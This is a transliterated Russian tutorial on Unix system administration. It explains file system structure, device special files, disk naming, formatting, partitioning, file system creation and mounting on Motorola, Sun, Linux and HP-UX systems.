Pri kazhdoj nachal'noj zagruzke Unix proveryaet - korrektno li by-
la vyklyuchena  mashina v proshlyj  raz, i esli net - avtomaticheski
zapuskaet utilitu fsck  (File System Check) - proverku i remont
fajlovyh sistem..

        &dDVnutrennyaya struktura fajlovoj sistemy Unix&d@.

Razdel diska, v kotorom sozdana fajlovaya sistema, razbit na tri
chasti.

SUPERBLOK. Zanimaet 1 Kb.
           Soderzhit sluzhebnuyu informaciyu:
           Tip fajlovoj sistemy,
           Razmer
           Nachalo spiska svobodnyh blokov.
           . . . chto-to eshche

OBLASTX INOD-ov.  Zanimaet  primerno 8% obshchego razmera razdela.
inode - Index-node  - opisatel' fajla. On soderzhit vsyu informa-
ciyu o fajle, za isklyucheniem  imeni  fajla,  i sobstvenno dannyh
fajla. V inod'e hranitsya:

   tip fajla (fajl, katalog, imenovannyj kanal, special'nyj fajl)
   kto vladelec
   prava(atributy) fajla
   vremya modifikaci/sozdaniya fajla
   adresa blokov, iz kotoryh sostoit fajl
   chto-to eshche ...

OBLASTX DANNYH. V etoj oblasti raspolozhenvIRTUALXNAYAYAy bloki s dannymi faj-
                lov. Nezanyatye bloki provyazany v SPISOK SVOBOD-
                NYH BLOKOV

Fajly byvayut dvuh osnovnyh tipov. FAJL, KATALOG.

FAJL - on i est' fajl.

KATALOG - fajl fiksirovannogo formata:  sostoit  iz  strochek  s
imenami fajlov, vhodyashchih v katalog

        imya_fajla1         Nomer_Inoda1
        imya_fajla2         Nomer_Inoda2
           . . .

CHtoby poluchit' dostup k fajlu po imeni, operacionnaya sistema
 1. nahodit eto imya v kataloge, soderzhashchem fajl,
 2. beret Nomer_Inoda fajla,
 3. po nomeru nahodit inod v oblasti inod'ov,
 4. iz inod'a beret adresa blokov, v kotoryh raspolozheny dann-
    ye fajla,
 5. po adresam blokov schityvaet bloki iz oblasti dannyh.
Vse.

        Format indeksnogo opisatelya fajla.

Oblast' inodov razbita na 64-h bajtnye struktury - inod'y.
V inod'e hranitsya:

  Tip fajla (fajl/katalog/special'nyj fajl/fifo/socket)
  Atributy (prava dostupa)
  Vladelec fajla
  Gruppa-vladelec fajla
  Vremena sozdaniya, modifikacii, poslednego dostupa k fajlu
  Dlina fajla
  Adres 1-go bloka fajla
  Adres 2-go bloka fajla
  ...
  Adres 10-go bloka fajla
  Adres bloka kosvennoj adresacii (bloka s 256 adresami blokov)
  Adres bloka 2-j kosvennoj adresacii
     (bloka s 256 adresami blokov s adresami)
  Adres bloka 3-j kosvennoj adresacii
     (bloka s adresami blokov s adresami blokov s adresami)

Tochnyj format struktury fajlovoj sistemy sm.
man fs
.
        &dDSpecial'nye fajly&d@

V Unix pomimo obychnyh fajlov i katalogov sushchestvuyut  eshche i spe-
cial'nye fajly. Oni ispol'zuyutsya dlya oboznacheniya fizicheskih us-
trojstv komp'yutera. (ZHelezok). V sushchnosti, chto  takoe fajl? |to
"nechto", kuda mozhno zapisyvat'  dannye  kak posledovatel'nost'
bajtov  i  schityvat' ih ottuda. I, znachit, vpolne  estestvennym
vyglyadit, naprimer,  fajl  /dev/console  - sootvetstvuyushchij kon-
sol'nomu  terminalu.  Vse,  chto  vyvoditsya v fajl /dev/console,
budet prosto poyavlyat'sya na ekrane terminala. Pri popytke chteniya
iz  fajla  /dev/console vy budete  poluchat' (vnimanie!)  ne to,
chto narisovano v dannyj moment na ekrane, a to, chto vvoditsya  s
klaviatury. Poprobujte vypolnit' komandy

  su
  echo Privet > /dev/console
  cat /dev/console

  Ctrl-C

Dlya  kazhdogo  terminala  unix-mashiny sushchestvuet sootvetstvuyushchij
emu  fajl.  Obychnym  terminalam  sootvetstvuyut  fajly,  kotorye
nazyvayutsya primerno tak:

  /dev/contty01 ili /dev/tty02 ili /dev/ttyFD02 ili /dev/ttyS0
  (i t.d., vozmozhny varianty)

Psevdoterminalam (oni emuliruyutsya, kogda vy vhodite v  sistemu
po seti, posredstvom komand tipa telnet, rlogin) sootvetstvuyut
special'nye fajly

  /dev/pty*, ili /dev/pty/*

Komanda  who,  ili  who  am  i  soobshchit vam, kak nazyvaetsya vash
sobstvennyj terminal.

Sushchestvuyut special'nye fajly, sootvetstvuyushchie zhestkomu disku  v
celom   (/dev/rdsk/m197_c0d0s7)     i   vsem   ego    razdelam
(/dev/dsk/m197_c0d0s*). Esli  vy  budete chitat' iz etih fajlov,
to  poluchite  vse  bajtiki,  kak  oni lezhat na zhestkom diske, s
nulevogo cilindra i do poslednego... A  esli  vy  v  etot  fajl
chto-nibud'  zapishete,  to  poluchite  (potom)  bogatyj  opyt  po
pereformatirovaniyu i razmetke zhestkogo diska.

/dev/mem   - fajl, izobrazhayushchij operativnuyu pamyat'.

/dev/audio - esli  "zakatit'"  v nego  fajl  zvukovogo  formata
             (*.wav, *.au, ...?) - to on  budet ozvuchen dinami-
             kom  komp'yutera,  a  komanda cat /dev/audio  budet
             prinimat' vse, chto proiznositsya v mikrofon.  Vpro-
             chem,  ya  otvleksya,  u  nas ved' ne PC,  ne  Silicon
             Graphic i ne SPARCstation.

/dev/zero  - iz nego mozhno schitat' skol'ko ugodno nulevyh bajtov

/dev/null  - a v  nego mozhno pisat', i  chitat' iz nego - tozhe, v
             neogranichennyh kolichestvah i s neizmennym rezul'-
             tatom: NULL - on i est' null. A v MSDOS ego analog
             nazyvaetsya    NUL.

Special'nye fajly byvayut dvuh tipov:

  blochnye  - zapis' i  chtenie dopuskayutsya tol'ko blokami.  Nap-
             rimer, razdely diskov s fajlovoj sistemoj yavlyayutsya
             takovymi.

  ls -al /dev/fd*
brw-rw----  1 root floppy    2,  28 Jul 18  1994 /dev/fd0H1440
brw-rw----  1 root floppy    2,  32 Jul 18  1994 /dev/fd0H2880
brw-rw----  1 root floppy    2,  12 Jul 18  1994 /dev/fd0H360


 simvol'nye(besstrukturnye, syrye, row) - mozhno chitat' i pisat'
           otdel'nymi bajtami. K nim otnosyatsya terminaly,  mag-
           nitnye lenty, neformatirovannye diski i razdely dis-
           kov bez fajlovoj sistemy.

  ls -al /dev/tty*
crw--w--w-   1 moshkow  sys        4,   1 Jan 15 22:00 /dev/tty1
crw--w--w-   1 root     root       4,   2 Jan 15 20:37 /dev/tty2
crw--w--w-   1 root     root       4,   2 Jan 15 20:37 /dev/tty2

Razlichie - pervaya bukva v listinge komandy ls  -l

Ponyatiya "razmer" u special'nogo fajla ne  sushchestvuet. Ved' etot
fajl oboznachaet fizicheskoe ustrojstvo.  Fakticheski  eto ssylka
na sootvetstvuyushchij drajver. Vmesto dliny komanda ls pokazyvaet
dlya takih fajlov  dva chisla: "mazhornyj" i "minornyj" nomera us-
trojstv. Budem schitat' dlya yasnosti, chto "mazhor" - eto poryadkovyj
nomer drajvera ustrojstva, a "minor" -  vnutrennij nomer ustroj-
stva v tablice obsluzhivayushchego ego drajvera.

        &dDSozdanie special'nyh fajlov&d@

 Obychno  ih  sozdavat'  ne  nuzhno  -  oni vse uzhe est' dlya vseh
izvestnyh  nastoyashchih   i   budushchih   ustrojstv.   Sozdany   pri
installyacii sistemy.

 Ruchnoe sozdanie specfajla

   mknod /dev/filename { c | b }  MAJOR MINOR

        &dDHP-UX: poluavtomaticheskoe sozdanie specfajlov&d@

Pri  nachal'noj  zagruzke  v  /etc/inittab  otrabatyvaet  skript
/sbin/ioinitrc, kotoryj, obnaruzhiv  novye  platy  i  ustrojstva,
avtomaticheski  zapuskaet komandu ih inicializacii, konfiguracii
i sozdaniya neobhodimyh dlya nih specfajlov.

sm. dokumentaciyu po komandam

 ioscan
 mksf
 insf

        &dDSolaris: poluavtomaticheskoe sozdanie specfajlov&d@

Pri zagruzke vyjti v boot-monitor i zagruzit'sya s klyuchem -r

STOP+A

ok boot -r         - rekonfiguracionnaya zagruzka

vse neobhodimye specfajly dlya vnov' podklyuchennyh ustrojstv budut
pri etom sozdany avtomaticheski.
.
        &dDDiski, lenty, fajlovye sistemy&d@.

        &dD * Kakie est' SCSI ustrojstva * &d@

        &dDMOTOROLA: Kakie est' SCSI ustrojstva&d@.

   scsiscan             - eta utilita soobshchit vam,  kakie  SCSI
                          ustrojstva  podklyucheny i kak oni
                          nazyvayutsya (SCSI-id)

       Posle  podklyucheniya novyh ustrojstv k komp'yuteru Motorola
922  on samostoyatel'no ih raspoznaet  pri  ocherednoj  nachal'noj
zagruzke   i  zapuskaet  programmu iz kataloga /sbin/auto-boot,
kotoraya  sozdaet  special'nye   fajly,   sootvetstvuyushchie   etim
ustrojstvam.



        &dDSUN:      Kakie est' SCSI ustrojstva&d@.

     Na  komp'yutere  Sun  SPARC dlya opredeleniya SCSI-ustrojstv:
Perejdite v BOOT-prom monitor (Nazhmite klavishi Stop+A)  Vvedite
komandu probe-scsi

  ok probe-scsi


     CHtoby   sozdat'  special'nye   fajly,  vypolnite
"reconfiguration boot": iz BOOT-prompta

  ok boot -r

        &dDLINUX:    Kakie est' SCSI ustrojstva i zhestkie diski&d@.

     IBM   PC/Linux  soobshchaet  ob  opoznannyh  ustrojstvah  pri
nachal'noj zagruzke. Predpolagaetsya, chto sootvetstvuyushchij  drajver
SCSI   (if  exists)  skonfigurirovan  v  yadre.  CHtoby  eshche  raz
prosmotret' eti soobshcheniya, vypolnite komandu

    dmesg

     Vse special'nye fajly dlya diskov i lent uzhe sozdany

        &dDHP-UX&d@

Perehvatit' boot prompt, dat' komandu SEA    (search)
Ili na zhivoj mashine   ioscan

        &dD * Opisanie geometrii diska pri podklyuchenii * &d@

     Dlya  normal'noj  raboty  s  diskom, vozmozhno, (zavisit  ot
sistemy) pridetsya pozabotit'sya ob opisanii geometrii diska.

     Pri   pokupke   diska  TREBUJTE  s  postavshchika  bumazhki  s
harakteristikami i geometriej diska.
     Seagate, naprimer, vse harakteristiki derzhit na
http://www.seagate.com

        &dDLinux, FreeBDS: nichego opisyvat' ne nado&d@

     Perehodite k sleduyushchemu razdelu.

        &dDMOTOROLA: opisanie geometrii diska&d@


     Uzhe  imeyushchiesya opisaniya dlya "firmennyh" diskov raspolozheny
v kataloge /etc/dskdefs/. Vyberite opisanie  "pohozhego"  diska,
zapomnite  ego  imya,  naprimer,  1Gb Seagate-ST31 - "msea11200".
Podskazka: zaglyanite v /etc/scsifmt.info

     Komandoj ddefs zapisat' geometriyu diska i sohranit' ee pod
novym  imenem.  V  otvet  na  zapros  "Template"   vvedite  imya
opisaniya  "pohozhego"  diska.  Poprav'te  parametry,  kotorye vy
znaete, i ostav'te kak est', esli ne znaete, zachem oni.

      ddefs -n filename

Aktual'nye parametry: estestvenno, chislo golov, sektorov...
A takzhe (po sobstvennoj shkure provereno):

 Root offset: 648              (t.k. VTOC zanimaet 648 blokov)
 Slice count: 16               (Polozheno 16 razdelov na diske)
 Interleave:  1                (CHto oznachaet "otsutstvuet")
 Precomp cylinder: {poslednij} (Nyne prekompensaciya ne ispol'zuetsya)
 Bad spots:   100             (Rezerv dlya zameshcheniya bad-blokov)
 Controller attribute: 850     (kto ego znaet, zachem, no tak
 Attribute:   10                u vseh ostal'nyh  diskov)
 Word attribute: 10

Vyhod  iz  komandy  ddefs  "w"  i "q" v DOKUMENTACII NE OPISAN.
Podskazka po ostal'nym komandam ddefs vyvoditsya komandoj "help"

       V  tablice /etc/scsifmt.info dobavit' strochku so ssylkoj
na fajl s geometriej diska. V kachestve  klyuchevyh  slov  ukazat'
to, chto vyvodit komanda scsiscan. Naprimer, tak:

scsiscan
SEAGATE  ST51080N  m187_0c0d1  ...

cat >> /etc/scsifmt.info
"SEAGATE"       "ST51080N"      filename   7    "1GB SCSI"
^D

        &dDSUN: opisanie geometrii diska&d@

     CHtoby   disk   opoznavalsya   Sun'om,   dlya   nego   dolzhno
sushchestvovat' opisanie geometrii v fajle /etc/format.dat

        &dD * Kak nazyvayutsya diski i razdely na mashine * &d@

     Kazhdoe "ustrojstvo" imeet sootvetstvuyushchij emu "special'nyj
fajl". Ot sistemy k sisteme imena eti absolyutno drug na druga ne
pohozhi.  Odno, pozhaluj, postoyanno: vse special'nye fajly obychno
raspolozheny v kataloge /dev ili ego podkatalogah.

        V SVR4 ustrojstva sobrany v otdel'nye katalogi:

  /dev/rdsk/*  - besstrukturnye diski i razdely diskov
  /dev/dsk/*   - blochnye diski i razdely diskov
  /dev/rmt/*   - strimmernye nakopiteli na magnitnoj lente
  /dev/term/*  - linii dlya podklyucheniya terminalov (dial-in)
  /dev/cua/*   - linii s modemnym upravleniem (dial-out)
  /dev/pts/*   - psevdoterminal'nye linii

        &dDMOTOROLA: Obshchij format imeni:&d@
    controller_cXdYsuffix           gde:
             controller - tip ustrojstva
                X       - nomer kontrollera
                Y       - logicheskij nomer ustrojstva
                suffix  - zavisit  ot  ustrojstva, naprimer:
                          nomer razdela na zhestkom diske

        Logicheskie diski (razdely fizicheskogo SCSI diska)
        s blochnoj strukturoj na stancii Motorola 922

/dev/dsk/m197_c0d0s1    SCSI kontroller m197 nomer 0,
                        SCSI ustrojstvo 0
                        logicheskij razdel (slice) 1
/dev/dsk/m328_c0d0s0    SCSI kontroller m328 nomer 0,
        . . .           SCSI ustrojstvo 0
                        logicheskij razdel (slice) 0

        Fizicheskij disk (celikom)

/dev/rdsk/m328_c0d0s7   Uslovnoe  oboznachenie  vsego   zhestkogo
/dev/rdsk/m197_c0d1s7   diska, celikom

        Besstrukturnye (syrye)  razdely

/dev/rdsk/m197_c0d0s1
/dev/rdsk/m197_c0d1s2

        Magnitnye lenty.

/dev/rmt/ctape1             a takzhe
/dev/rmt/m197_c0d4

        CD-ROM.

/dev/rdsk/m197_c0d6s7    - "syroj" (fizicheskij)
/dev/dsk/m197_c0d6s0     -  razdel CD-ROM s fajlovoj sistemoj
                            "Motorol'nogo" formata ufs
/dev/dsk/m197_c0d6s7     -  CD-ROM so standartnoj  fajlovoj
                            sistemoj iso9660

        &dDSUN:&d@.

        Logicheskie razdely (blochnye) na stancii SPARCstation:
Disk mozhet byt' razbit na 8 logicheskih razdelov s 0 po 8.

        Obshchij format imeni SCSI ustrojstva:

/dev/dsk/c0t2d0s3       Controller  0  (obychno 0)
                        Taget       2  (SCSI ID)
                        Disk        0  (LUN Logical Unit Number
                                        - obychno 0)
                        Slice       3  (Nomer razdela)

        Fizicheskij disk (celikom)

/dev/rdsk/c0t3d0s2     Ves' zhestkij disk predstavlyaetsya  razde-
                       lom 2
                       Zagruzochnyj vnutrennij zhestkij disk SPARC-
                       station imeet 3-j SCSI nomer.

        CD-ROM (celikom)

/dev/dsk/c0t6d0s2      CD obychno veshayut na 6-j SCSI nomer.
                       Imeet rovno odin razdel - ves' disk.

        Magnitnye lenty.

/dev/rmt/0            1-ya lenta (obychno 150Mb)
/dev/rmt/1            2-ya lenta (obychno DAT 4Gb)

        Posle podklyucheniya novyh ustrojstv k Sun'u.
Nuzhno vypolnit' "reconfiguration boot". Iz boot prom'a:

   ok boot -r

        &dDLinux:&d@.

     Disk mozhet byt' razbit na 4 primary razdela s 1 po 4. Odin
iz razdelov mozhet byt' extended - togda on mozhet  byt'   razbit
eshche na 4 razdela s 5 po 8

        Fizicheskij disk (celikom)

/dev/hda        Pervyj IDE zhestkij disk
/dev/hdb        Vtoroj IDE zhestkij disk
/dev/hdc        IDE hd (ili CD) - master na vtorom interfejse
/dev/hdc        IDE hd (ili CD) - slave  na vtorom interfejse
/dev/sda        Pervyj SCSI zhestkij disk ...

/dev/sda1, /dev/sda2, ... ,8  Razdely zhestkogo SCSI diska
/dev/hdb1, /dev/hdb2, ... ,8  Razdely zhestkogo IDE diska

        CD-ROM

/dev/sbpcd,/dev/sonycd, ...
/dev/hdc  - IDE CD
          a luchshe /dev/cdrom

        Magnitnye lenty.

/dev/rmt1

        Diskety.

/dev/fd0             - floppi A:
/dev/fd1             - floppi B:

        &dDHP-UX&d@

        Fizicheskij disk (celikom)

/dev/rdsk/c0t6d0     Ves' zhestkij disk (raw)
/dev/dsk/c0t6d0      Ves' zhestkij disk

 ZHestkih razdelov v HP-UX net, zato est' LVM - i v nem
logicheskie toma

/dev/vg00/lvol12     char logical volume
/dev/vg00/rlvol12    block logical volume

        Magnitnye lenty
/dev/rmt/0m          lenta s peremotkoj
/dev/rmt/0mn         lenta bez peremotki

        &dD * Kak otformatirovat' SCSI disk * &d@.


     Formatirovat'  SCSI  na  nizkom  urovne  ne  umeet ni odin Unix
v mire.Formatirovanie obychno zaklyuchaetsya v testirovanii bad block'ov
i   nanesenii   logicheskoj   razmetki   diska   -   delenii  ego  na
logicheskie razdely.

        &dDMOTOROLA: nizkourovnevoe formatirovanie diska &d@

     Hotite   po-prostomu -  vospol'zujtes'  komandoj  scsifmt.
Primenyaetsya  ona  k  BESSTRUKTURNOMU  cel'nomu  disku  (katalog
/dev/rdsk, slice nomer 7). Naprimer:

   scsifmt /dev/rdsk/m197_c0d1s7
   scsifmt /dev/rdsk/m328_c1d0s7

     VNIMANIE:  vy  uzhe nabrali etu komandu? Soschitajte do 20 i
nemnogo podumajte. Podumali? Teper' nazhmite Ctrl-C.  Vy  nazhali
ENTER  vmesto Ctrl-C ? U vas est' 30 svobodnyh minut. Mozhete za
eto  vremya  oznakomit'sya  s  glavoj  "Installyaciya  Unix".  Ved'
komanda  scsifmt  nichego  ne  peresprashivaet  i srazu nachinaet
formatirovat' ukazannyj disk, ne trebuya nikakih  podtverzhdenij.

       scsifmt prosto vyzyvaet komandu dinit s sootvetstvuyushchimi
klyuchami,  kotoraya  vse  i  delaet.  Dlya  bolee   tonkih   rabot
pol'zujtes' dinit neposredstvenno.

 Inicializaciya diska(nizkourovnevoe formatirovanie, testirovanie
bad-blokov, zagruzochnaya zapis') delaetsya komandoj dinit.

dinit [-f] [-q] [-b]   filename   /dev/rdsk/m187_c0d1s7
      -X 9  debug-level
      -f    pereformatirovat'
      -q    "bystryj" format
      -b    sdelat' disk zagruzochnym
      -v {0-4} write test

man dinit    soobshchit' vse ostal'nye podrobnosti

        &dDSUN:&d@

     Fizicheskoe formatirovanie diska na SunOS ne delayut. Schitaetsya,
chto disk dolzhny otformatirovat'  na  zavode.  Mozhno  posmotret'
informaciyu o diske.

     prtvtoc /dev/rdsk/c0t0d0s2

        &dDHP-UX&d@

     Fizicheskoe formatirovanie

format /dev/rdsk/c0t6d0

        &dD * Razmetka diska na razdely. Partition Table * &d@

        &dDLinux: fdisk&d@

     Rametka  partiotion table v Linux delaetsya komandoj fdisk.
|to dialogovaya utilita  -  bez  osobyh  izyskov,  vse  delaetsya
prosto.

     fdisk /dev/hda   # ili /dev/sdb ...

     mke2fs /dev/hda1
     # sozdaet fajlovuyu sistemu tipa ext2 na pervom razdele

     Raspechatat' tablicu razdelov:

     fdisk -p /dev/hda   # ili /dev/sdb ...


        &dDSUN: Razmetka formatirovannogo diska na razdely&d@

     CHtoby   disk   opoznavalsya   Sun'om,   dlya   nego   dolzhno
sushchestvovat' opisanie v fajle /etc/format.dat

     Iz-pod  SuperPol'zovatelya  zapustite  komandu format, i v
dialogovom rezhime smozhete proinicializirovat' i  protestirovat'
disk i razbit' ego na razdely.

     format

Boot-monitor pri zagruzke operacionnoj sistemy ishchet na kornevom
razdele boot-blok. On zapisyvaetsya komandoj installboot ili dd

     installboot /dev/rdsk/c0t3d0s0
     dd if=/usr/lib/fs/ufs/bootblk bs=1k skip=1 of=/dev/dsk/c0t3d0s0

        &dDSUN: Sozdanie fajlovoj sistemy&d@.

     newfs /dev/dsk/c0t0d0s7

        SUN: vidy fajlovyh sistem.

     ufs        Unix File System
                osnovnoj tip fajlovyh sistem dlya zhestkih diskov
     hsfs       High Sierra, ISO 9660, Rock Rige Extension
                fajlovaya sistema na CD-ROM'ah
     pcfs       MS-DOS FAT dlya disket 3"

     nfs        Network File System
                naibolee populyarnaya setevaya fajlovaya sistema
     rfs        Remote File System
                tyazheloe nasledie System V - eshche odna setevaya FS

     tmpfs      dlya hraneniya Vremennoj Fajlovoj sistemy ispol'zuetsya
                svobodnoe mesto swap-oblasti
     lofs       Loop Back FS
                fakticheski mount -F nfs localhost:/ /mnt

     procfs     Process FS - "dlya kazhdogo processa imeetsya fajl"
     fifofs     FIFO FS
     fdfs       File Descriptors FS
     namefs

        &dDMOTOROLA: Razmetka formatirovannogo diska na razdely&d@.

     Proizvoditsya  Disk Slice Editorom dse. Na diske mozhet byt'
do 15 slice'ov (razdelov). Oni numeruyutsya chislami ot 0 do 6, ot
8  do  f.  Nomer  7  zarezervirovan, chtoby oboznachat' ves' disk
celikom.

  dse   imya_besstrukturnogo_diska       #       naprimer:
  dse /dev/rdsk/m197_c0d0s7

DSE imeet ekrannyj interfejs, shozhij s redaktorom VI
        Komandy:

   :q!     vyjti bez vneseniya izmenenij v tablicu razdelov
   :wq     sohranit' izmeneniya i vyjti
 h,j,k,l   komandy peremeshcheniya po ekranu (eto esli u vas ne ra-
           botayut strelochki)
   C       sozdat' razdel na svobodnom meste
   dw      steret' pole
   dd      unichtozhit' razdel
   cw      izmenit' znachenie polya

VNIMANIE:  samyj  pervyj razdel dolzhen nachinat'sya s bloka nomer
648 (ili bol'she), poskol'ku na diske  dolzhno  ostavat'sya  mesto
dlya hraneniya razmetki diska VTOC (Volume Table Of Contents).

     Na   sozdavaemom  razdele  dolzhna  byt'  sozdana  fajlovaya
sistema. V SVR4/88 ispol'zuyutsya 3 raznyh tipa - ufs,  s5,  bfs.
Vybirajte "UFS".

        Motorola: vidy fajlovyh sistem.

     ufs        Unix File System
                osnovnoj tip fajlovyh sistem dlya zhestkih diskov
     s5         System V. Ustarelyj tip fajlovoj sistemy, ispol'-
                zovalsya v staryh versiyah SV 3.1. Bolee medlennaya,
                no zanimaet men'she mesta pod sluzhebnuyu informaciyu
     bfs        Boot File System dlya kataloga /stand
		Sluzhebnaya "ochen' prostaya" fajlovaya sistema. V nej
                lezhat fajly nachal'noj zagruzki boot i unix
     cdfs       CD File System
                Standartnaya dlya CD ROM'ov razmetka ISO 9660

     Posle   pererazmetki   diska  dse  avtomaticheski  zapustit
komandu mkfs so vsemi neobhodimymi parametrami -  dlya  sozdaniya
chistyh  fajlovyh  sistem  na  novyh  razdelah,  poetomu  punkt,
otnosyashchijsya k komande mkfs, imeet skoree akademicheskij interes.

       Real'no  dse tol'ko GOTOVIT opisanie VTOC, a propisyvaet
ee na disk komanda fmthard. Parametry u nee  neprostye,  imenno
ona  primenyaetsya pri installyacii sistemy.

 fmthard -S file_with_vtoc_description /dev/rmt/m187_c0d1s7

     Dlya  obychnyh  zhe  yuzerov  k  nej  napisan pol'zovatel'skij
interfejs dse.

     Raspechatat' tablicu razdelov:

prtvtoc /dev/rdsk/m187_c0d0s7

        &dD * Kakogo tipa u nas fajlovye sistemy * &d@

        &dDMOTOROLA: Kakogo tipa u nas fajlovye sistemy&d@

  fstyp imya_diskovogo_razdela

     Rekomenduemyj  tip  dlya nespecializirovannyh (t.e. ne teh,
kotorye /stand,  /boot  i  nekotorye  drugie)  fajlovyh  sistem
standartnyj  Unix'ovskij  "ufs" - Unix File System. |to bystraya
fajlovaya sistema BSD-podobnogo tipa s  simvolicheskimi  linkami,
dlinnymi  imenami  fajlov  (do  256  bajt), izmenyaemym razmerom
bloka,  "razmazannoj"  tablicej   inod'ov   (opisateli   fajlov
raspolozheny gruppami, kotorye ravnomerno raspredeleny po disku)

        &dDmkfs - sozdaet pustuyu fajlovuyu sistemu&d@.

# sozdaem fajlovuyu sistemu tipa s5 na 4-om razdele diska,  raz-
# merom 200 Mb !!! Razmer ukazyvaetsya v 512-bajtnyh blokah

  mkfs -F s5   /dev/rdsk/m328_c2d0s4  400000


# sozdaem fajlovuyu sistemu tipa ufs  na 5-om razdele diska

  mkfs -F ufs  -o bsize=4096,nsect=36,ntrack=9,free=1 \
  /dev/rdsk/m328_c2d0s5

        &dDLinux: sozdanie fajlovoj sistemy&d@

 mke2fs /dev/hda9

        &dDHP-UX: sozdanie fajlovoj sistemy&d@

 newfs -F hfs /dev/rvol12

        &dDHP-UX: JFS vs HFS&d@

HP-UX ispol'zuet dva formata fajlovyh sistem:
 HFS  (High  Perfomance)  - AKA staraya dobraya ufs,
 i novomodnaya JFS (Journal) AKA Verytas vxfs

     0.  vxfs - eto ne fajlovaya sistema, a baza dannyh s zhurnalom tranzakcij
i otkatkoj.  Lyubaya  operaciya  zapisi  v  fajlovuyu  sistemu  soderzhit  tol'ko
zavershennye  tranzakcii, poetomu fs na diske _vsegda_ nahoditsya v korrektnom
sostoyanii. V log pishetsya "protokol namerenij", i ego mozhno ispol'zovat'  dlya
otkatki.

&dDPlyusy:&d@
     1.   vxfs   ispol'zuet   fizicheskij   zhurnal   dlya  zapisi
kriticheskoj metainformacii na disk. |to garantiruet effektivnoe
vosstanavlenie   fs.   Bol'shaya   sohrannost'  pozvolyaet  dol'she
keshirovat' dannye. Ochen' zameten  vyigrysh  po  skorosti  "close
file"  -  zakrytie  fajla  NE  forsiruet sync inod'a na disk, v
otlichie ot ufs.
     2.  vxfs  primenyaet  klasternuyu  adresaciyu  posledovatel'nyh
blokov - vyigrysh v adresacii blokov i skorosti dostupa k bol'shim
fajlam.
     3. inod v vxfs-e imeet dlinu 256 bajt (a ne 128), i korotkie (<=96bajt)
direktorii ili simlinki hranyatsya pryamo v inod'e
     4.  Direktorii  vxfs  proindeksirovany - sledovatel'no, povyshena skorost'
poiska fajla po imeni.
     5.  Po  neobhodimosti  vxfs  umeet sozdavat' dopolnitel'nye oblasti
inod'ov, i voobshche - mesto v vxfs raspredelyaetsya po mere zapolneniya.

Napisat' podrobnee pro tranzakcii.

&dDMinusy:&d@

     1. Sluzhebnye struktury vxfs zanimayut bol'she mesta na diske
     2. Zagruzchik yadra ne umeet chitat' format vxfs, poetomu
katalog /stand obyazan byt' HFS'nym

&dDPlyusy dlya Live JFS (AKA OnLine VxFS) Only:&d@
     |to  rasshirenie standartnoj vxfs, kommercheskij produkt, postavlyaemyj za
otdel'nye  den'gi,   posle   ego   ustanovki   standartnaya   vxfs   poluchaet
dopolnitel'nye vozmozhnosti:
     6. Uvelichenie razmera fs bez otmontirovaniya.
     7. Umen'shenie razmera fs (a-lya speed disk) bez otmontirovaniya.
     8.   Snapshot   (zamorozka)   fs.  Po  komande  voznikaet  parallel'noe
derevo-kopiya razdela - "ostanovlennoe" na moment podachi komandy. Realizaciya:
ispol'zuet  dopolnitel'no  razdel  diska  dlya sohraneniya izmenyaemyh blokov s
dannymi. Pri obrashchenii k "zamorozhennym" dannym bloki, eshche  ne  izmenennye  -
schityvayutsya  iz  original'noj fajlovoj sistemy, esli zhe menyalis', to original
beretsya s sohranennoj na otdel'nyj razdel kopii.

 Primery, na kotoryh vxfs daet zametnyj (v 2-4 raza) vyigrysh
  cd /hfs  ;  time tar xf /tmp/big.tar
  cd /vxfs ;  time tar xf /tmp/big.tar

  time cat bigfile bigfile bigfile bigfile bigfile > /vxfs/big
  time cat bigfile bigfile bigfile bigfile bigfile > /hfs/big

     Vyvod:  v  nekotoryh operaciyah vxfs bystree, v ostal'nyh -
ne medlennee, ustojchivee k  vyklyucheniyu  pitaniya,  no  neskol'ko
bol'she s®edaet diskovogo prostranstva.
     HFS  imeet  smysl  na  staticheskih  "readonly"  katalogah,
naprimer /usr - skorost' chteniya odinakova, a hfs kompaktnee.

        &dDLinux. Zapis' direktorii na vritable CDROM&d@

 mkisofs -R -o image directory
 zatem zapisat' obraz na cd-r komandoj  cdrecord


        &dD * Montirovanie fajlovyh sistem * &d@.

CHtoby  sdelat'  "vidimymi"  fajly, lezhashchie na diskovom razdele,
Unix ispol'zuet  komandu  mount.  Mount  "podceplyaet"  fajlovuyu
sistemu  k obshchemu derevu fajlov. Pri montirovanii nuzhno ukazat'
"tochku montazha" - katalog, k kotoromu "podceplyaetsya" nasha novaya
fajlovaya sistema. Naprimer:

    mount -F ufs   /dev/dsk/m197_c0d0s8    /home1

CHtoby posmotret', kakie fajlovye sistemy u nas smontirovany,
vypolnite komandu

    df

CHtoby nashi fajlovye sistemy montirovalis', a swap oblasti akti-
vizirovalis'  avtomaticheski  pri  kazhdoj  zagruzke,  neobhodimo
vstavit' sootvetstvuyushchie  stroki  v  fajl  /etc/vfstab . Format
strochek mozhno posmotret' v etom zhe fajle.

        &dDMOTOROLA: Montirovanie CD-ROM&d@.

Esli na CDROM'e  zapisana fajlovaya sistema formata "ufs" - t.e.
eto  "rodnoj",  motorol'nyj cdrom, to montirovat' ego nuzhno  po
tem zhe pravilam, chto i obychnyj zhestkij disk, tol'ko "read only"

  mount -F ufs -r  /dev/dsk/m197_c0d6s0    /cdrom

Esli zhe eto obychnyj "game'ovyj" disk dlya MSDOS'a, a tochnee, CDROM
standartnogo formata iso9660, to montirovat' ego nado tak:

  mount -F cdfs -o ro  /dev/dsk/m197_c0d6s7    /cdrom

(ispol'zovanie klyuchej  -r i  -o ro  - ravnoznachno)

        &dDOtmontirovanie fajlovyh sistem&d@.

  umount /home1

        &dD * Izmenenie parametrov fs * &d@

Sun:          tunefs
Linux:        tune2fs
HP-UX:        fsadm

        &dD * Bad-bloki * &d@.

     Simptomy  dostatochno  krasnorechivy:  zametnye zaderzhki pri
dostupe k disku  (iz-za  retrying'a),  i  na  konsol'  syplyutsya
strashnye  soobshcheniya "Bad media", "Read failure"... "pri dostupe
k bloku takomu-to".
     Zapishite nomera bad-blokov - ih mozhno "podlechit'".

        &dDFirmennye operacionki: lechitsya, no s trudom-s&d@

     Sovremennye  SCSI  adaptery  sami zamenyayut bad-bloki. Esli
zasekli bad-block, propishite po nemu (ili  fajlu  s  nim)  nuli,
adapter  zaodno i propishet, i podmenit, i navsegda spryachet ego,
i on bol'she ne pokazhetsya.

        &dDMotorola: Bad-bloki&d@

       Rekomenduyu  oznakomit'sya  s dokumentaciej - razdel "Bad
blocks" v Tome "Disks and Tapes Managment"

